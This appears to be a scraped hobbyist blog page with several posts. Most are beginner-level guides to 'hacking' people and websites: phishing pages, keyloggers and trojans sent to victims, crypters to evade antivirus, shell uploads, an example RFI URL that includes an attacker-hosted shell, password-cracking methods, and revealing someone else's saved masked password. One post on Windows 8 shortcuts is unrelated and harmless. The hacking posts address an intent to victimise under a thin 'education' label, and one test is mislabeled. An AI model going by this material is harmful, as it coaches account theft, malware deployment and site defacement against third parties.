Complete HACKING Information For Beginners

Hi guys.. this is a hacking article for the beginners who are interested in hacking and want to start the hacking. So that am going to tell you about the complete hacking information in to the point.

Introduction:

We see a millions of people going to different forums and websites and asking “how do i hack an email?”, “Can you hack blah for me?”. So thought to create a tutorial which will give you the basic idea about what the heck is a “HACK”, and how to DEFEND YOUR SELF AGAINST HACKERS.

Background:

Hacking started way too far when the windows 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses. And sometimes for enjoyment ;)

Things to remember

I will suggest you, KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN. But only for education purpose :D

Initialization:

Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts.

1. Email or the user information

2. Web based hacking.

Email or user information:

These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow:

a. Phishing

b. Brute Forcing

c. Keylogging

d. Trojans

A: Phishing:

What is Phishing?

Phishing is basically a massive attack. What a hacker does is, they created an absolutely look alike page of some website like yahoo or Gmail. They upload it to their own server. And give the link to any user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and your information has been submitted. This is widely used by new people trying to entering into a hacking world.

Disadvantages:

Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website.

B: Brute Forcing:

The question is same! What is brute forcing?

Brute forcer is basically a program which could be called as a “cracker”. In brute forcer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing English words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like “huge pass list” on different forums, they are nothing but the password list to put into your bruteforcer.!!

Disadvantages:

There are some disadvantages!!

1. Sometimes brute forcing may just go for ages!

2. It is not guaranteed.

3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect

4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the “image captcha” after 3 incorrect login attempts, which stops the bruteforcer. :(

C: Keylogging :

Keylogger helps you to create a little filed which is known as “server”. You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens.

Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim’s computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information. It record data that is being typed and make a snap shots of programs.

Disadvantages :

There are some disadvantages!!

1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to disable the anti virus by bluffing something.

2. Sometimes firewall blocks the keylogs from being sent.

Tip

There are some programs which are known as “crypters” which will help you to make your server’s undetectable. So your victim’s anti-virus would not be able to detect them.

D: Trojans :

Trojans are like father of keyloggers. :D Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim’s computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may keep on ejecting and re-inserting the cd ROM. Much more.

Disadvantages :

Same as keyloggers.

Tips :

Same as keylogger.

Web Hacking:

I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will alos help you to SAVE YOUR SITE!!!

1. SQL Injection

2. XSS

3. Shells

4. RFI

5. There are some more but they are too big to be discussed in here.

1 : SQL Injection :

Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a queries every time a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.

So the basic problem is executing a command to phrase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website! :(

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site’s URL is:

Code:

yoursite.com/index.php?id=545

Just add a ‘ like this at the end

Code:

yoursite.com/index.php?id=545'

2 : XSS :

XSS is another nice way to hack some website. Suppose if some website/ forum is allowing HTML in the post or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up. :P

3. Shells :

Shell is a malicious .php script. What you have to do is, find a place in any website where you can upload any file like avatars, recepie, your tricks, your feed back. And you try to upload your shell files from there. And if its uploaded then you open it from the URL bar and u can see the entire “FTP” account of that web hosting. You can rename/edit / upload/download anything u want including the index page.

This is also known as deface.

4. RFI :

RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:

Code:

yoursite.com/shell.txt

And you found a vulnerable site to RFI then you can do as follow:

Code:

victimssite.com/index.php?page=yousite.com/shell.txt

This will again give u the access of your victim’s sites FTP , just as shell so you can f*ck up anything you want. :D

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site’s URL is:

Code:

yoursite.com/index.php?id=545

Just add something like this at the end

Code:

yoursite.com/index.php?id=http://www.google.com

And if it includes the Google page into your page, that means its vulnerable to RFI.

DOne!!!

I hope you will share this article.!!

ENJOY!

Secrets & Shortcuts Of Window 8

Unknown 2:47 AM

In this post we will see some serious Windows 8 Shortcuts And Secrets that will make your life easier to use Windows 8

Window 8 in a new version that make your life so easy. It comes with more beautiful feature than other OS.

I write a little and simple article for you that you will be able to use window 8 easier than before.

Windows 8 keyboard shortcuts

Knowing at least some of the Windows 8 keyboard shortcuts will make your Windows 8 experience much more enjoyable.

Try to memorize these top Windows 8 shortcut keys.

Press the Windows key to open the Start screen or switch to the Desktop (if open).

Press the Windows key + D will open the Windows Desktop.

Press the Windows key + . to pin and unpin Windows apps on the side of the screen.

Press the Windows key + X to open the power user menu, which gives you access to many of the features most power users would want (e.g. Device Manager and Command Prompt).

Press the Windows key + C to open the Charms.

Press the Windows key + I to open the Settings, which is the same Settings found in Charms.

Press and hold the Windows key + Tab to show open apps.

Press the Windows key + Print screen to create a screen shot, which is automatically saved into your My Pictures folder.

About hot corners

The corners on your screen are hot corners and give you access to different Windows features.

Below, is a brief explanation of each of these corners.

1:Bottom Left-hand corner

The bottom left-hand hot corner of the screen will allow you to access the Start screen, if you're in the Start screen and have the Desktop open, this corner will open the Desktop from the Start screen.

Tip: Right-clicking in the left hand corner will open the power user menu.

2:Top-left corner of the screen

Moving the mouse to the top-left corner and then down will display all the apps running on the computer. Clicking and dragging any of these apps to the left or right-hand side of the screen will snap that app to that side of the screen. Each of these open app icons can also be right-clicked to close or snap.It shows a beautiful feature of win8.

3:Right-hand side of the screen

On the full right-hand side of the screen will be given access to the Windows Charms.

Taking advantage of search

The Search in Windows 8 has been significantly improved when compared to all previous versions of Windows. To search for a file or run a program in Windows 8 from the Start screen just start typing what you're trying to find or want to run.You don't need to click on any search bar. Just open the start menu by clicking on bottom left corner or window key. Type any thing you want to search from your computer.

As you begin typing, the results will start appearing on the left-hand side. In addition to being able to search for files and run programs, the Search also supports limiting the search to apps such as Finance, People, Maps, Photos, Mail, Music, Videos, Weather, and much more. If what you are searching for is not a file or program, click on the app you wish to use as the search. For example, if you were searching for "New York" and selected the Weather App you would be shown the weather in New York, NY.

By default, Search organizes the available Apps by how frequently they are used and then in alphabetical order. If you want to keep your favorite app at the top of the Search list, right-click the app and choose Pin. Pinning the app will lock it in place regardless of how often it is used. If there is an app you don't want (e.g. Finance) you can turn on and off any of the search apps through the PC settings, which is found under the Settings in the Charms.It is more reliable feature of win8 that makes it more powerful than other OS.

Bonus tip: The Search is also found through Charms and can also be opened by pressing Windows key + F.

Customize your tiles

Make the most of your Windows Start screen tiles by adjusting the sizes, where they are located, and what is listed.

Move any tile by clicking and dragging the tile. While moving a tile, if you need a larger view of the Start screen move the tile towards the top or bottom of the screen to zoom out.

Use your mouse wheel to scroll left-to-right through your tiles.

Any Desktop shortcut or program can be pinned to the Start screen by right-clicking the icon and choosing Pin to Start.

In the bottom right-hand corner of the start screen is a magnifying glass with tiles, click this icon to get a zoomed out view of your Start screen. In this view, if you right-click on a group of tiles you'll be given the option to name group, which can be useful if you have a group of related tiles (e.g. games). In this view, you can also click and drag a group to organize your tile groups.

Create a new speed bump between tile groups by moving a tile to a speed bump.

Resize any User tile or Live tile by right-clicking the tile and choosing resize.

If there is a tile you want on your Taskbar, right-click the tile and choose Pin to taskbar.

Show admin applications on the Start screen by clicking Settings in Charms, click Settings, and change the Show administrative tools from No to Yes.

In Internet Explorer 10, you can also pin any of your favorite web pages to your Start Screen.

Done!!

I hope you become able to use your window 8 by using these simple and beautiful tricks. Dont forget to give your feed back please if you enjoy these tricks and like my hard work.

Thanks in advance :)

Top Ten Password Cracking Methods

Unknown 8:39 PM

Hi guys, In this article i will tell you how to crack a victim password through different top 10 methods. I hope you will enable to know all the method before you start to hack a password.

Only for education purpose :D

1: Dictionary attack

"The dictonary attack uses a simple file containing words that can, surprise surprise, be found in a dictionary. In other words, if you will excuse the pun, this attack uses exactly the kind of words that many people use as their password...."

2:Brute force attack

"The brute force attack method is similar to the dictionary attack but with the added bonus, for the hacker, of being able to detect non-dictionary words by working through all possible alpha-numeric combinations from aaa1 to zzz10 known as brute force attack.."

3: Rainbow table attack

"A rainbow table is a list of pre-computed hashes - the numerical value of an encrypted password, used by most systems today and that’s the hashes of all possible password combinations for any given hashing algorithm mind. The time it takes to crack a password using a rainbow table is reduced to the time it takes to look it up in the list, Known as Rainbow table attack..."

4: Phishing

"There's an easy way to hack: ask the user for his/her password. A phishing email leads the unsuspecting reader to a faked online banking, payment or other site in order to login and put right some terrible problem with their security known as Phishing..."

5: Social Engineering

"A favorite of the social engineer is to telephone an office posing as an IT security tech guy and simply ask for the network access password. You’d be amazed how often this works, Known as Social Engineering..."

6: Malware

"A key logger or screen scraper can be installed by malware which records everything you type or takes screen shots during a login process, and then forwards a copy of this file to hacker central. It will save all the activities of your computer and save the all records, Known as Malware attack..."

7: Offline cracking

"Often the target in question has been compromised via an hack on a third party, which then provides access to the system servers and those all important user password hash files. The password cracker can then take as long as they need to try and crack the code without alerting the target system or individual user, Known as Offline cracking..."

8: Shoulder surfing

"The service personnel ‘uniform’ provides a kind of free pass to wander around unhindered, and make note of passwords being entered by genuine members of staff. It also provides an excellent opportunity to eyeball all those post-it notes stuck to the front of LCD screens with logins scribbled upon them, known as shoulder surfing..."

9: Spidering

"Savvy hackers have realized that many corporate passwords are made up of words that are connected to the business itself. Studying corporate literature, website sales material and even the websites of competitors and listed customers can provide the ammunition to build a custom word list to use in a brute force attack. this method is known as spidering..."

10: Guess

"The password crackers best friend, of course, is the predictability of the user. Unless a truly random password has been created using software dedicated to the task, a user generated ‘random’ password is unlikely to be anything of the sort. This is easy method to guess the victim password, that's why it is called on "guess""

I hope you have enough a knowledge to work out on these method for crack the password. In a nutshell, a hacker must know all possibilities before crack any password. ;)

Reveal The Password In Asterisk Form (****)

Unknown 10:25 PM

ASTERISK UNMASKING:
Hi guys, in this article am gonna tell you about how to reveal the password in asterisk form.

Now you can reveal the password from Asterisk form (****). This is usually happens when a user forgot to log out from a specific site and probably set their login preferences to ''Remember me''..

So we can easily log in to their account but we definitely would not see their password. This picture shows that what i want to say.

HOW TO REVEAL PASSWORD IN ASTERISK FORM:

1.In Google Chrome Browser:

Simply highlight or select the asterisk password and right-click on it, then scroll down and click on ''Inspect element'' as shown below in screenshot.

After this a pop up box will appear on at the bottom of your browser window.

See the image below:

Now "double-click" where it is labelled ''password'' and change it to ''text'' as shown in the images below:

Screen Shot 1

Screen Shot 2

After changing it, Hit Enter!!!
You will be able to see the password in clear text.. :)

2. In Opera Browser

I also tried out the same trick opera browser (Opera Next ) and it works too..
It is Same method as that of Google chrome browser. Though there is a slight difference in the pop up window.
See the image below..

3.In Mozilla Firefox

As for the Firefox browser, it has got no built in ''Inspect Element'' :( . Therefore you will need two firefox extensions known as.

- DOM Inspector Download here

- Inspect This Download here

Now Install both the above extensions into your firefox and restart your browser.

Now go to the Asterisk password, highlight and right-click on it, then scroll down your options and click on ''Inspect Element'' :P

Clicking on "Inspect Element" will open the "DOM Inspector" window..

In the right pane of the DOM Inspector window, "double click" on where it says "Type" and "Password" as shown below.

An "Edit Attribute" pop up will open..

Now change the Node Value to from "password" to "text" and hit Enter!!!

Yahoooo.... ;) at this point, you will be able to see the password in clear and plain text..

Enjoy :)
